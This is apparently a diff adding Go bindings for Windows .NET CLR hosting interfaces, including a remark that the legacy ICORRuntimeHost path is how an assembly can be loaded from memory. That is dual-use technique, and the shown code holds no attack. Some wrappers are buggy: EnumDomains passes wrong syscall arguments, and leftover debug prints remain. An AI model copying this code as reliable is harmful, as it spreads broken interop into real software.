// https://docs.microsoft.com/en-us/dotnet/framework/unmanaged-api/hosting/iclrmetahost-enumerateinstalledruntimes-method
|
||||
func (obj *ICLRMetaHost) EnumerateInstalledRuntimes() (ppEnumerator *IEnumUnknown, err error) {
|
||||
debugPrint("Entering into iclrmetahost.EnumerateInstalledRuntimes()...")
|
||||
hr, _, err := syscall.Syscall(
|
||||
obj.vtbl.EnumerateInstalledRuntimes,
|
||||
2,
|
||||
uintptr(unsafe.Pointer(obj)),
|
||||
uintptr(unsafe.Pointer(&ppEnumerator)),
|
||||
0,
|
||||
)
|
||||
if err != syscall.Errno(0) {
|
||||
err = fmt.Errorf("there was an error calling the ICLRMetaHost::EnumerateInstalledRuntimes method:\r\n%s", err)
|
||||
return
|
||||
}
|
||||
if hr != S_OK {
|
||||
err = fmt.Errorf("the ICLRMetaHost::EnumerateInstalledRuntimes method returned a non-zero HRESULT: 0x%x", hr)
|
||||
return
|
||||
}
|
||||
err = nil
|
||||
return
|
||||
}
|
||||
|
||||
// GetRuntime gets the ICLRRuntimeInfo interface that corresponds to a particular version of the common language runtime (CLR).
|
||||
// This method supersedes the CorBindToRuntimeEx function used with the STARTUP_LOADER_SAFEMODE flag.
|
||||
// HRESULT GetRuntime (
|
||||
// [in] LPCWSTR pwzVersion,
|
||||
// [in] REFIID riid,
|
||||
// [out,iid_is(riid), retval] LPVOID *ppRuntime
|
||||
// );
|
||||
// https://docs.microsoft.com/en-us/dotnet/framework/unmanaged-api/hosting/iclrmetahost-getruntime-method
|
||||
func (obj *ICLRMetaHost) GetRuntime(pwzVersion *uint16, riid windows.GUID) (ppRuntime *ICLRRuntimeInfo, err error) {
|
||||
debugPrint("Entering into iclrmetahost.GetRuntime()...")
|
||||
|
||||
hr, _, err := syscall.Syscall6(
|
||||
obj.vtbl.GetRuntime,
|
||||
4,
|
||||
uintptr(unsafe.Pointer(obj)),
|
||||
uintptr(unsafe.Pointer(pwzVersion)),
|
||||
uintptr(unsafe.Pointer(&IID_ICLRRuntimeInfo)),
|
||||
uintptr(unsafe.Pointer(&ppRuntime)),
|
||||
0,
|
||||
0,
|
||||
)
|
||||
|
||||
if err != syscall.Errno(0) {
|
||||
err = fmt.Errorf("there was an error calling the ICLRMetaHost::GetRuntime method:\r\n%s", err)
|
||||
return
|
||||
}
|
||||
if hr != S_OK {
|
||||
err = fmt.Errorf("the ICLRMetaHost::GetRuntime method returned a non-zero HRESULT: 0x%x", hr)
|
||||
return
|
||||
}
|
||||
err = nil
|
||||
return
|
||||
}
|
||||
+158
@@ -0,0 +1,158 @@
|
||||
// +build windows
|
||||
|
||||
package clr
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"syscall"
|
||||
"unsafe"
|
||||
)
|
||||
|
||||
type ICLRRuntimeHost struct {
|
||||
vtbl *ICLRRuntimeHostVtbl
|
||||
}
|
||||
|
||||
// ICLRRuntimeHostVtbl provides functionality similar to that of the ICorRuntimeHost interface
|
||||
// provided in the .NET Framework version 1, with the following changes
|
||||
// https://docs.microsoft.com/en-us/dotnet/framework/unmanaged-api/hosting/iclrruntimehost-interface
|
||||
type ICLRRuntimeHostVtbl struct {
|
||||
QueryInterface uintptr
|
||||
AddRef uintptr
|
||||
Release uintptr
|
||||
// Start Initializes the CLR into a process.
|
||||
Start uintptr
|
||||
// Stop Stops the execution of code by the runtime.
|
||||
Stop uintptr
|
||||
// SetHostControl sets the host control interface. You must call SetHostControl before calling Start.
|
||||
SetHostControl uintptr
|
||||
// GetCLRControl gets an interface pointer of type ICLRControl that hosts can use to customize
|
||||
// aspects of the common language runtime (CLR).
|
||||
GetCLRControl uintptr
|
||||
// UnloadAppDomain Unloads the AppDomain that corresponds to the specified numeric identifier.
|
||||
UnloadAppDomain uintptr
|
||||
// ExecuteInAppDomain Specifies the AppDomain in which to execute the specified managed code.
|
||||
ExecuteInAppDomain uintptr
|
||||
// GetCurrentAppDomainID gets the numeric identifier of the AppDomain that is currently executing.
|
||||
GetCurrentAppDomainId uintptr
|
||||
// ExecuteApplication used in manifest-based ClickOnce deployment scenarios to specify the application
|
||||
// to be activated in a new domain.
|
||||
ExecuteApplication uintptr
|
||||
// ExecuteInDefaultAppDomain Invokes the specified method of the specified type in the specified assembly.
|
||||
ExecuteInDefaultAppDomain uintptr
|
||||
}
|
||||
|
||||
// GetICLRRuntimeHost is a wrapper function that takes an ICLRRuntimeInfo object and
|
||||
// returns an ICLRRuntimeHost and loads it into the current process
|
||||
func GetICLRRuntimeHost(runtimeInfo *ICLRRuntimeInfo) (*ICLRRuntimeHost, error) {
|
||||
debugPrint("Entering into iclrruntimehost.GetICLRRuntimeHost()...")
|
||||
var runtimeHost *ICLRRuntimeHost
|
||||
err := runtimeInfo.GetInterface(CLSID_CLRRuntimeHost, IID_ICLRRuntimeHost, unsafe.Pointer(&runtimeHost))
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
err = runtimeHost.Start()
|
||||
return runtimeHost, err
|
||||
}
|
||||
|
||||
func (obj *ICLRRuntimeHost) AddRef() uintptr {
|
||||
ret, _, _ := syscall.Syscall(
|
||||
obj.vtbl.AddRef,
|
||||
1,
|
||||
uintptr(unsafe.Pointer(obj)),
|
||||
0,
|
||||
0)
|
||||
return ret
|
||||
}
|
||||
|
||||
func (obj *ICLRRuntimeHost) Release() uintptr {
|
||||
ret, _, _ := syscall.Syscall(
|
||||
obj.vtbl.Release,
|
||||
1,
|
||||
uintptr(unsafe.Pointer(obj)),
|
||||
0,
|
||||
0)
|
||||
return ret
|
||||
}
|
||||
|
||||
// Start Initializes the common language runtime (CLR) into a process.
|
||||
// HRESULT Start();
|
||||
// https://docs.microsoft.com/en-us/dotnet/framework/unmanaged-api/hosting/iclrruntimehost-start-method
|
||||
func (obj *ICLRRuntimeHost) Start() error {
|
||||
debugPrint("Entering into iclrruntimehost.Start()...")
|
||||
hr, _, err := syscall.Syscall(
|
||||
obj.vtbl.Start,
|
||||
1,
|
||||
uintptr(unsafe.Pointer(obj)),
|
||||
0,
|
||||
0,
|
||||
)
|
||||
if err != syscall.Errno(0) {
|
||||
return fmt.Errorf("the ICLRRuntimeHost::Start method returned an error:\r\n%s", err)
|
||||
}
|
||||
if hr != S_OK {
|
||||
return fmt.Errorf("the ICLRRuntimeHost::Start method method returned a non-zero HRESULT: 0x%x", hr)
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// ExecuteInDefaultAppDomain Calls the specified method of the specified type in the specified managed assembly.
|
||||
// HRESULT ExecuteInDefaultAppDomain (
|
||||
// [in] LPCWSTR pwzAssemblyPath,
|
||||
// [in] LPCWSTR pwzTypeName,
|
||||
// [in] LPCWSTR pwzMethodName,
|
||||
// [in] LPCWSTR pwzArgument,
|
||||
// [out] DWORD *pReturnValue
|
||||
// );
|
||||
// An LPCWSTR is a 32-bit pointer to a constant string of 16-bit Unicode characters, which MAY be null-terminated.
|
||||
// Use syscall.UTF16PtrFromString to turn a string into a LPCWSTR
|
||||
// https://docs.microsoft.com/en-us/dotnet/framework/unmanaged-api/hosting/iclrruntimehost-executeindefaultappdomain-method
|
||||
func (obj *ICLRRuntimeHost) ExecuteInDefaultAppDomain(pwzAssemblyPath, pwzTypeName, pwzMethodName, pwzArgument *uint16) (pReturnValue *uint32, err error) {
|
||||
hr, _, err := syscall.Syscall9(
|
||||
obj.vtbl.ExecuteInDefaultAppDomain,
|
||||
6,
|
||||
uintptr(unsafe.Pointer(obj)),
|
||||
uintptr(unsafe.Pointer(pwzAssemblyPath)),
|
||||
uintptr(unsafe.Pointer(pwzTypeName)),
|
||||
uintptr(unsafe.Pointer(pwzMethodName)),
|
||||
uintptr(unsafe.Pointer(pwzArgument)),
|
||||
uintptr(unsafe.Pointer(pReturnValue)),
|
||||
0,
|
||||
0,
|
||||
0)
|
||||
if err != syscall.Errno(0) {
|
||||
err = fmt.Errorf("the ICLRRuntimeHost::ExecuteInDefaultAppDomain method returned an error:\r\n%s", err)
|
||||
return
|
||||
}
|
||||
if hr != S_OK {
|
||||
err = fmt.Errorf("the ICLRRuntimeHost::ExecuteInDefaultAppDomain method returned a non-zero HRESULT: 0x%x", hr)
|
||||
return
|
||||
}
|
||||
err = nil
|
||||
return
|
||||
}
|
||||
|
||||
// GetCurrentAppDomainID Gets the numeric identifier of the AppDomain that is currently executing.
|
||||
// HRESULT GetCurrentAppDomainId(
|
||||
// [out] DWORD* pdwAppDomainId
|
||||
// );
|
||||
// https://docs.microsoft.com/en-us/dotnet/framework/unmanaged-api/hosting/iclrruntimehost-getcurrentappdomainid-method
|
||||
func (obj *ICLRRuntimeHost) GetCurrentAppDomainID() (pdwAppDomainId uint32, err error) {
|
||||
hr, _, err := syscall.Syscall(
|
||||
obj.vtbl.GetCurrentAppDomainId,
|
||||
2,
|
||||
uintptr(unsafe.Pointer(obj)),
|
||||
uintptr(unsafe.Pointer(&pdwAppDomainId)),
|
||||
0,
|
||||
)
|
||||
if err != syscall.Errno(0) {
|
||||
err = fmt.Errorf("the ICLRRuntimeHost::GetCurrentAppDomainID method returned an error:\r\n%s", err)
|
||||
return
|
||||
}
|
||||
if hr != S_OK {
|
||||
err = fmt.Errorf("the ICLRRuntimeHost::GetCurrentAppDomainID method returned a non-zero HRESULT: 0x%x", hr)
|
||||
return
|
||||
}
|
||||
err = nil
|
||||
return
|
||||
}
|
||||
+211
@@ -0,0 +1,211 @@
|
||||
// +build windows
|
||||
|
||||
package clr
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"syscall"
|
||||
"unsafe"
|
||||
|
||||
"golang.org/x/sys/windows"
|
||||
)
|
||||
|
||||
type ICLRRuntimeInfo struct {
|
||||
vtbl *ICLRRuntimeInfoVtbl
|
||||
}
|
||||
|
||||
// ICLRRuntimeInfoVtbl Provides methods that return information about a specific common language runtime (CLR),
|
||||
// including version, directory, and load status. This interface also provides runtime-specific functionality
|
||||
// without initializing the runtime. It includes the runtime-relative LoadLibrary method, the runtime
|
||||
// module-specific GetProcAddress method, and runtime-provided interfaces through the GetInterface method.
|
||||
// https://docs.microsoft.com/en-us/dotnet/framework/unmanaged-api/hosting/iclrruntimeinfo-interface
|
||||
type ICLRRuntimeInfoVtbl struct {
|
||||
QueryInterface uintptr
|
||||
AddRef uintptr
|
||||
Release uintptr
|
||||
// GetVersionString Gets common language runtime (CLR) version information associated with a given
|
||||
// ICLRRuntimeInfo interface. This method supersedes the GetRequestedRuntimeInfo and GetRequestedRuntimeVersion methods.
|
||||
GetVersionString uintptr
|
||||
// GetRuntimeDirectory Gets the installation directory of the CLR associated with this interface.
|
||||
// This method supersedes the GetCORSystemDirectory method.
|
||||
GetRuntimeDirectory uintptr
|
||||
// IsLoaded Indicates whether the CLR associated with the ICLRRuntimeInfo interface is loaded into a process.
|
||||
IsLoaded uintptr
|
||||
// LoadErrorString Translates an HRESULT value into an appropriate error message for the specified culture.
|
||||
// This method supersedes the LoadStringRC and LoadStringRCEx methods.
|
||||
LoadErrorString uintptr
|
||||
// LoadLibrary Loads a library from the framework directory of the CLR represented by an ICLRRuntimeInfo interface.
|
||||
// This method supersedes the LoadLibraryShim method.
|
||||
LoadLibrary uintptr
|
||||
// GetProcAddress Gets the address of a specified function that was exported from the CLR associated with
|
||||
// this interface. This method supersedes the GetRealProcAddress method.
|
||||
GetProcAddress uintptr
|
||||
// GetInterface Loads the CLR into the current process and returns runtime interface pointers,
|
||||
// such as ICLRRuntimeHost, ICLRStrongName and IMetaDataDispenser. This method supersedes all the CorBindTo* functions.
|
||||
GetInterface uintptr
|
||||
// IsLoadable Indicates whether the runtime associated with this interface can be loaded into the current
|
||||
// process, taking into account other runtimes that might already be loaded into the process.
|
||||
IsLoadable uintptr
|
||||
// SetDefaultStartupFlags Sets the CLR startup flags and host configuration file.
|
||||
SetDefaultStartupFlags uintptr
|
||||
// GetDefaultStartupFlags Gets the CLR startup flags and host configuration file.
|
||||
GetDefaultStartupFlags uintptr
|
||||
// BindAsLegacyV2Runtime Binds this runtime for all legacy CLR version 2 activation policy decisions.
|
||||
BindAsLegacyV2Runtime uintptr
|
||||
// IsStarted Indicates whether the CLR that is associated with the ICLRRuntimeInfo interface has been started.
|
||||
IsStarted uintptr
|
||||
}
|
||||
|
||||
// GetRuntimeInfo is a wrapper function to return an ICLRRuntimeInfo from a standard version string
|
||||
func GetRuntimeInfo(metahost *ICLRMetaHost, version string) (*ICLRRuntimeInfo, error) {
|
||||
pwzVersion, err := syscall.UTF16PtrFromString(version)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return metahost.GetRuntime(pwzVersion, IID_ICLRRuntimeInfo)
|
||||
}
|
||||
|
||||
func (obj *ICLRRuntimeInfo) AddRef() uintptr {
|
||||
ret, _, _ := syscall.Syscall(
|
||||
obj.vtbl.AddRef,
|
||||
1,
|
||||
uintptr(unsafe.Pointer(obj)),
|
||||
0,
|
||||
0)
|
||||
return ret
|
||||
}
|
||||
|
||||
func (obj *ICLRRuntimeInfo) Release() uintptr {
|
||||
debugPrint("Entering into iclrruntimeinfo.Release()...")
|
||||
ret, _, _ := syscall.Syscall(
|
||||
obj.vtbl.Release,
|
||||
1,
|
||||
uintptr(unsafe.Pointer(obj)),
|
||||
0,
|
||||
0)
|
||||
return ret
|
||||
}
|
||||
|
||||
// GetVersionString gets common language runtime (CLR) version information associated with a given ICLRRuntimeInfo interface.
|
||||
// HRESULT GetVersionString(
|
||||
// [out, size_is(*pcchBuffer)] LPWSTR pwzBuffer,
|
||||
// [in, out] DWORD *pcchBuffer);
|
||||
// https://docs.microsoft.com/en-us/dotnet/framework/unmanaged-api/hosting/iclrruntimeinfo-getversionstring-method
|
||||
func (obj *ICLRRuntimeInfo) GetVersionString() (version string, err error) {
|
||||
debugPrint("Entering into iclrruntimeinfo.GetVersion()...")
|
||||
// [in, out] Specifies the size of pwzBuffer to avoid buffer overruns. If pwzBuffer is null, pchBuffer returns the required size of pwzBuffer to allow preallocation.
|
||||
var pchBuffer uint32
|
||||
hr, _, err := syscall.Syscall(
|
||||
obj.vtbl.GetVersionString,
|
||||
3,
|
||||
uintptr(unsafe.Pointer(obj)),
|
||||
0,
|
||||
uintptr(unsafe.Pointer(&pchBuffer)),
|
||||
)
|
||||
if err != syscall.Errno(0) {
|
||||
err = fmt.Errorf("there was an error calling the ICLRRuntimeInfo::GetVersionString method during preallocation:\r\n%s", err)
|
||||
return
|
||||
}
|
||||
// 0x8007007a = The data area passed to a system call is too small, expected when passing a nil buffer for preallocation
|
||||
if hr != S_OK && hr != 0x8007007a {
|
||||
err = fmt.Errorf("the ICLRRuntimeInfo::GetVersionString method (preallocation) returned a non-zero HRESULT: 0x%x", hr)
|
||||
return
|
||||
}
|
||||
|
||||
pwzBuffer := make([]uint16, 20)
|
||||
|
||||
hr, _, err = syscall.Syscall(
|
||||
obj.vtbl.GetVersionString,
|
||||
3,
|
||||
uintptr(unsafe.Pointer(obj)),
|
||||
uintptr(unsafe.Pointer(&pwzBuffer[0])),
|
||||
uintptr(unsafe.Pointer(&pchBuffer)),
|
||||
)
|
||||
if err != syscall.Errno(0) {
|
||||
err = fmt.Errorf("there was an error calling the ICLRRuntimeInfo::GetVersionString method:\r\n%s", err)
|
||||
return
|
||||
}
|
||||
if hr != S_OK {
|
||||
err = fmt.Errorf("the ICLRRuntimeInfo::GetVersionString method returned a non-zero HRESULT: 0x%x", hr)
|
||||
return
|
||||
}
|
||||
err = nil
|
||||
version = syscall.UTF16ToString(pwzBuffer)
|
||||
return
|
||||
}
|
||||
|
||||
// GetInterface loads the CLR into the current process and returns runtime interface pointers,
|
||||
// such as ICLRRuntimeHost, ICLRStrongName, and IMetaDataDispenserEx.
|
||||
// HRESULT GetInterface(
|
||||
// [in] REFCLSID rclsid,
|
||||
// [in] REFIID riid,
|
||||
// [out, iid_is(riid), retval] LPVOID *ppUnk); unsafe pointer of a pointer to an object pointer
|
||||
// https://docs.microsoft.com/en-us/dotnet/framework/unmanaged-api/hosting/iclrruntimeinfo-getinterface-method
|
||||
func (obj *ICLRRuntimeInfo) GetInterface(rclsid windows.GUID, riid windows.GUID, ppUnk unsafe.Pointer) error {
|
||||
debugPrint("Entering into iclrruntimeinfo.GetInterface()...")
|
||||
hr, _, err := syscall.Syscall6(
|
||||
obj.vtbl.GetInterface,
|
||||
4,
|
||||
uintptr(unsafe.Pointer(obj)),
|
||||
uintptr(unsafe.Pointer(&rclsid)),
|
||||
uintptr(unsafe.Pointer(&riid)),
|
||||
uintptr(ppUnk),
|
||||
0,
|
||||
0,
|
||||
)
|
||||
// The syscall returns "The requested lookup key was not found in any active activation context." in the error position
|
||||
// TODO Why is this error message returned?
|
||||
if err != syscall.Errno(0) && err.Error() != "The requested lookup key was not found in any active activation context." {
|
||||
return fmt.Errorf("the ICLRRuntimeInfo::GetInterface method returned an error:\r\n%s", err)
|
||||
}
|
||||
if hr != S_OK {
|
||||
return fmt.Errorf("the ICLRRuntimeInfo::GetInterface method returned a non-zero HRESULT: 0x%x", hr)
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// BindAsLegacyV2Runtime binds the current runtime for all legacy common language runtime (CLR) version 2 activation policy decisions.
|
||||
// HRESULT BindAsLegacyV2Runtime ();
|
||||
// https://docs.microsoft.com/en-us/dotnet/framework/unmanaged-api/hosting/iclrruntimeinfo-bindaslegacyv2runtime-method
|
||||
func (obj *ICLRRuntimeInfo) BindAsLegacyV2Runtime() error {
|
||||
debugPrint("Entering into iclrruntimeinfo.BindAsLegacyV2Runtime()...")
|
||||
hr, _, err := syscall.Syscall(
|
||||
obj.vtbl.BindAsLegacyV2Runtime,
|
||||
1,
|
||||
uintptr(unsafe.Pointer(obj)),
|
||||
0,
|
||||
0,
|
||||
)
|
||||
if err != syscall.Errno(0) {
|
||||
return fmt.Errorf("the ICLRRuntimeInfo::BindAsLegacyV2Runtime method returned an error:\r\n%s", err)
|
||||
}
|
||||
if hr != S_OK {
|
||||
return fmt.Errorf("the ICLRRuntimeInfo::BindAsLegacyV2Runtime method returned a non-zero HRESULT: 0x%x", hr)
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// IsLoadable indicates whether the runtime associated with this interface can be loaded into the current process,
|
||||
// taking into account other runtimes that might already be loaded into the process.
|
||||
// HRESULT IsLoadable(
|
||||
// [out, retval] BOOL *pbLoadable);
|
||||
// https://docs.microsoft.com/en-us/dotnet/framework/unmanaged-api/hosting/iclrruntimeinfo-isloadable-method
|
||||
func (obj *ICLRRuntimeInfo) IsLoadable() (pbLoadable bool, err error) {
|
||||
debugPrint("Entering into iclrruntimeinfo.IsLoadable()...")
|
||||
hr, _, err := syscall.Syscall(
|
||||
obj.vtbl.IsLoadable,
|
||||
2,
|
||||
uintptr(unsafe.Pointer(obj)),
|
||||
uintptr(unsafe.Pointer(&pbLoadable)),
|
||||
0)
|
||||
if err != syscall.Errno(0) {
|
||||
err = fmt.Errorf("the ICLRRuntimeInfo::IsLoadable method returned an error:\r\n%s", err)
|
||||
return
|
||||
}
|
||||
if hr != S_OK {
|
||||
err = fmt.Errorf("the ICLRRuntimeInfo::IsLoadable method returned a non-zero HRESULT: 0x%x", hr)
|
||||
return
|
||||
}
|
||||
err = nil
|
||||
return
|
||||
}
|
||||
+231
@@ -0,0 +1,231 @@
|
||||
// +build windows
|
||||
|
||||
package clr
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"syscall"
|
||||
"unsafe"
|
||||
|
||||
"golang.org/x/sys/windows"
|
||||
)
|
||||
|
||||
type ICORRuntimeHost struct {
|
||||
vtbl *ICORRuntimeHostVtbl
|
||||
}
|
||||
|
||||
// ICORRuntimeHostVtbl Provides methods that enable the host to start and stop the common language runtime (CLR)
|
||||
// explicitly, to create and configure application domains, to access the default domain, and to enumerate all
|
||||
// domains running in the process.
|
||||
// https://docs.microsoft.com/en-us/dotnet/framework/unmanaged-api/hosting/icorruntimehost-interface
|
||||
type ICORRuntimeHostVtbl struct {
|
||||
QueryInterface uintptr
|
||||
AddRef uintptr
|
||||
Release uintptr
|
||||
// CreateLogicalThreadState Do not use.
|
||||
CreateLogicalThreadState uintptr
|
||||
// DeleteLogicalThreadSate Do not use.
|
||||
DeleteLogicalThreadState uintptr
|
||||
// SwitchInLogicalThreadState Do not use.
|
||||
SwitchInLogicalThreadState uintptr
|
||||
// SwitchOutLogicalThreadState Do not use.
|
||||
SwitchOutLogicalThreadState uintptr
|
||||
// LocksHeldByLogicalThreadState Do not use.
|
||||
LocksHeldByLogicalThreadState uintptr
|
||||
// MapFile Maps the specified file into memory. This method is obsolete.
|
||||
MapFile uintptr
|
||||
// GetConfiguration Gets an object that allows the host to specify the callback configuration of the CLR.
|
||||
GetConfiguration uintptr
|
||||
// Start Starts the CLR.
|
||||
Start uintptr
|
||||
// Stop Stops the execution of code in the runtime for the current process.
|
||||
Stop uintptr
|
||||
// CreateDomain Creates an application domain. The caller receives an interface pointer of
|
||||
// type _AppDomain to an instance of type System.AppDomain.
|
||||
CreateDomain uintptr
|
||||
// GetDefaultDomain Gets an interface pointer of type _AppDomain that represents the default domain for the current process.
|
||||
GetDefaultDomain uintptr
|
||||
// EnumDomains Gets an enumerator for the domains in the current process.
|
||||
EnumDomains uintptr
|
||||
// NextDomain Gets an interface pointer to the next domain in the enumeration.
|
||||
NextDomain uintptr
|
||||
// CloseEnum Resets a domain enumerator back to the beginning of the domain list.
|
||||
CloseEnum uintptr
|
||||
// CreateDomainEx Creates an application domain. This method allows the caller to pass an
|
||||
// IAppDomainSetup instance to configure additional features of the returned _AppDomain instance.
|
||||
CreateDomainEx uintptr
|
||||
// CreateDomainSetup Gets an interface pointer of type IAppDomainSetup to an AppDomainSetup instance.
|
||||
// IAppDomainSetup provides methods to configure aspects of an application domain before it is created.
|
||||
CreateDomainSetup uintptr
|
||||
// CreateEvidence Gets an interface pointer of type IIdentity, which allows the host to create security
|
||||
// evidence to pass to CreateDomain or CreateDomainEx.
|
||||
CreateEvidence uintptr
|
||||
// UnloadDomain Unloads the specified application domain from the current process.
|
||||
UnloadDomain uintptr
|
||||
// CurrentDomain Gets an interface pointer of type _AppDomain that represents the domain loaded on the current thread.
|
||||
CurrentDomain uintptr
|
||||
}
|
||||
|
||||
// GetICORRuntimeHost is a wrapper function that takes in an ICLRRuntimeInfo and returns an ICORRuntimeHost object
|
||||
// and loads it into the current process. This is the "deprecated" API, but the only way currently to load an assembly
|
||||
// from memory (afaict)
|
||||
func GetICORRuntimeHost(runtimeInfo *ICLRRuntimeInfo) (*ICORRuntimeHost, error) {
|
||||
debugPrint("Entering into icorruntimehost.GetICORRuntimeHost()...")
|
||||
var runtimeHost *ICORRuntimeHost
|
||||
err := runtimeInfo.GetInterface(CLSID_CorRuntimeHost, IID_ICorRuntimeHost, unsafe.Pointer(&runtimeHost))
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
err = runtimeHost.Start()
|
||||
return runtimeHost, err
|
||||
}
|
||||
|
||||
func (obj *ICORRuntimeHost) QueryInterface(riid windows.GUID, ppvObject unsafe.Pointer) error {
|
||||
debugPrint("Entering into icorruntimehost.QueryInterface()...")
|
||||
hr, _, err := syscall.Syscall(
|
||||
obj.vtbl.QueryInterface,
|
||||
3,
|
||||
uintptr(unsafe.Pointer(obj)),
|
||||
uintptr(unsafe.Pointer(&riid)), // A reference to the interface identifier (IID) of the interface being queried for.
|
||||
uintptr(ppvObject),
|
||||
)
|
||||
if err != syscall.Errno(0) {
|
||||
fmt.Println("1111111111111")
|
||||
return fmt.Errorf("the IUknown::QueryInterface method returned an error:\r\n%s", err)
|
||||
}
|
||||
if hr != S_OK {
|
||||
fmt.Println("222222222222222222")
|
||||
return fmt.Errorf("the IUknown::QueryInterface method method returned a non-zero HRESULT: 0x%x", hr)
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func (obj *ICORRuntimeHost) AddRef() uintptr {
|
||||
ret, _, _ := syscall.Syscall(
|
||||
obj.vtbl.AddRef,
|
||||
1,
|
||||
uintptr(unsafe.Pointer(obj)),
|
||||
0,
|
||||
0)
|
||||
return ret
|
||||
}
|
||||
|
||||
func (obj *ICORRuntimeHost) Release() uintptr {
|
||||
ret, _, _ := syscall.Syscall(
|
||||
obj.vtbl.Release,
|
||||
1,
|
||||
uintptr(unsafe.Pointer(obj)),
|
||||
0,
|
||||
0)
|
||||
return ret
|
||||
}
|
||||
|
||||
// Start starts the common language runtime (CLR).
|
||||
// HRESULT Start ();
|
||||
// https://docs.microsoft.com/en-us/dotnet/framework/unmanaged-api/hosting/icorruntimehost-start-method
|
||||
func (obj *ICORRuntimeHost) Start() error {
|
||||
debugPrint("Entering into icorruntimehost.Start()...")
|
||||
hr, _, err := syscall.Syscall(
|
||||
obj.vtbl.Start,
|
||||
1,
|
||||
uintptr(unsafe.Pointer(obj)),
|
||||
0,
|
||||
0,
|
||||
)
|
||||
if err != syscall.Errno(0) {
|
||||
// The system could not find the environment option that was entered.
|
||||
// TODO Why is this error message returned?
|
||||
debugPrint(fmt.Sprintf("the ICORRuntimeHost::Start method returned an error:\r\n%s", err))
|
||||
}
|
||||
if hr != S_OK {
|
||||
return fmt.Errorf("the ICORRuntimeHost::Start method method returned a non-zero HRESULT: 0x%x", hr)
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// GetDefaultDomain gets an interface pointer of type System._AppDomain that represents the default domain for the current process.
|
||||
// HRESULT GetDefaultDomain (
|
||||
// [out] IUnknown** pAppDomain
|
||||
// );
|
||||
// https://docs.microsoft.com/en-us/dotnet/framework/unmanaged-api/hosting/icorruntimehost-getdefaultdomain-method
|
||||
func (obj *ICORRuntimeHost) GetDefaultDomain() (IUnknown *IUnknown, err error) {
|
||||
debugPrint("Entering into icorruntimehost.GetDefaultDomain()...")
|
||||
hr, _, err := syscall.Syscall(
|
||||
obj.vtbl.GetDefaultDomain,
|
||||
2,
|
||||
uintptr(unsafe.Pointer(obj)),
|
||||
uintptr(unsafe.Pointer(&IUnknown)),
|
||||
0,
|
||||
)
|
||||
if err != syscall.Errno(0) {
|
||||
// The specified procedure could not be found.
|
||||
// TODO Why is this error message returned?
|
||||
debugPrint(fmt.Sprintf("the ICORRuntimeHost::GetDefaultDomain method returned an error:\r\n%s", err))
|
||||
}
|
||||
if hr != S_OK {
|
||||
err = fmt.Errorf("the ICORRuntimeHost::GetDefaultDomain method method returned a non-zero HRESULT: 0x%x", hr)
|
||||
return
|
||||
}
|
||||
err = nil
|
||||
return
|
||||
}
|
||||
|
||||
// CreateDomain Creates an application domain. The caller receives an interface pointer of type _AppDomain to an instance of type System.AppDomain.
|
||||
// HRESULT CreateDomain (
|
||||
// [in] LPWSTR pwzFriendlyName,
|
||||
// [in] IUnknown* pIdentityArray,
|
||||
// [out] void **pAppDomain
|
||||
// );
|
||||
// https://docs.microsoft.com/en-us/previous-versions/dotnet/netframework-4.0/ms164322(v=vs.100)
|
||||
func (obj *ICORRuntimeHost) CreateDomain(pwzFriendlyName *uint16) (pAppDomain *AppDomain, err error) {
|
||||
debugPrint("Entering into icorruntimehost.CreateDomain()...")
|
||||
hr, _, err := syscall.Syscall6(
|
||||
obj.vtbl.CreateDomain,
|
||||
4,
|
||||
uintptr(unsafe.Pointer(obj)),
|
||||
uintptr(unsafe.Pointer(pwzFriendlyName)), // [in] LPWSTR pwzFriendlyName - An optional parameter used to give a friendly name to the domain
|
||||
uintptr(unsafe.Pointer(nil)), // [in] IUnknown* pIdentityArray - An optional array of pointers to IIdentity instances that represent evidence mapped through security policy to establish a permission set
|
||||
uintptr(unsafe.Pointer(&pAppDomain)), // [out] IUnknown** pAppDomain
|
||||
0,
|
||||
0,
|
||||
)
|
||||
if err != syscall.Errno(0) {
|
||||
// The specified procedure could not be found.
|
||||
// TODO Why is this error message returned?
|
||||
debugPrint(fmt.Sprintf("the ICORRuntimeHost::CreateDomain method returned an error:\r\n%s", err))
|
||||
}
|
||||
if hr != S_OK {
|
||||
err = fmt.Errorf("the ICORRuntimeHost::CreateDomain method returned a non-zero HRESULT: 0x%x", hr)
|
||||
return
|
||||
}
|
||||
err = nil
|
||||
return
|
||||
}
|
||||
|
||||
// EnumDomains Gets an enumerator for the domains in the current process.
|
||||
// HRESULT EnumDomains (
|
||||
// [out] HCORENUM *hEnum
|
||||
// );
|
||||
func (obj *ICORRuntimeHost) EnumDomains() (hEnum *uintptr, err error) {
|
||||
debugPrint("Enterin into icorruntimehost.EnumDomains()...")
|
||||
|
||||
hr, _, err := syscall.Syscall(
|
||||
obj.vtbl.EnumDomains,
|
||||
(uintptr(unsafe.Pointer(hEnum))),
|
||||
0,
|
||||
0,
|
||||
0,
|
||||
)
|
||||
|
||||
if err != syscall.Errno(0) {
|
||||
err = fmt.Errorf("the ICORRuntimeHost::EnumDomains method returned an error:\n%s", err)
|
||||
return
|
||||
}
|
||||
if hr != S_OK {
|
||||
err = fmt.Errorf("the ICORRuntimeHost::EnumDomains method returned a non-zero HRESULT: 0x%x", hr)
|
||||
return
|
||||
}
|
||||
err = nil
|
||||
return
|
||||
}
|
||||
+82
@@ -0,0 +1,82 @@
|
||||
// +build windows
|
||||
|
||||
package clr
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"syscall"
|
||||
"unsafe"
|
||||
)
|
||||
|
||||
type IEnumUnknown struct {
|
||||
vtbl *IEnumUnknownVtbl
|
||||
}
|
||||
|
||||
// IEnumUnknownVtbl Enumerates objects implementing the root COM interface, IUnknown.
|
||||
// Commonly implemented by a component containing multiple objects. For more information, see IEnumUnknown.
|
||||
// https://docs.microsoft.com/en-us/windows/win32/api/objidl/nn-objidl-ienumunknown
|
||||
type IEnumUnknownVtbl struct {
|
||||
